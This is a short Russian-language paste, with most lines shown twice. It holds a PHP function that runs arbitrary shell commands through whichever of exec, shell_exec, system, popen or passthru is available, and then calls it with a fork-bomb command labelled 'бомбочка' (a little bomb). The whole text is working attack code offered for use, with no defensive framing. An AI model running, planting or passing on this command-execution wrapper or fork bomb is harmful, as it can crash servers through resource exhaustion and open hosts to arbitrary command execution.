Форк
- //Функция тестирования
- function TestFunc($in)
- function TestFunc($in)
- {
- $out = '';
- $out = '';
- if (function_exists('exec'))
- if (function_exists('exec'))
- {
- {
- @exec($in, $out);
- @exec($in, $out);
- $out = @join("\n", $out);
- $out = @join("\n", $out);
- }
- }
- elseif (function_exists('shell_exec'))
- elseif (function_exists('shell_exec'))
- {
- {
- $out = shell_exec($in);
- $out = shell_exec($in);
- }
- }
- elseif (function_exists('system'))
- elseif (function_exists('system'))
- {
- {
- ob_start();
- ob_start();
- @system($in);
- @system($in);
- $out = ob_get_clean();
- $out = ob_get_clean();
- }
- }
- elseif (is_resource($f = @popen($in, "r")))
- elseif (is_resource($f = @popen($in, "r")))
- {
- {
- $out = "";
- $out = "";
- while (!@feof($f))
- while (!@feof($f))
- $out .= fread($f, 1024);
- $out .= fread($f, 1024);
- pclose($f);
- pclose($f);
- }
- }
- elseif (function_exists('passthru'))
- elseif (function_exists('passthru'))
- {
- {
- ob_start();
- ob_start();
- @passthru($in);
- @passthru($in);
- $out = ob_get_clean();
- $out = ob_get_clean();
- }
- }
- return $out;
- return $out;
- }
- echo TestFunc("echo '. ./_&. ./_&'>_;. ./_"); //Выполнение форка
бомбочка
всё просто и понятно
всё просто и понятно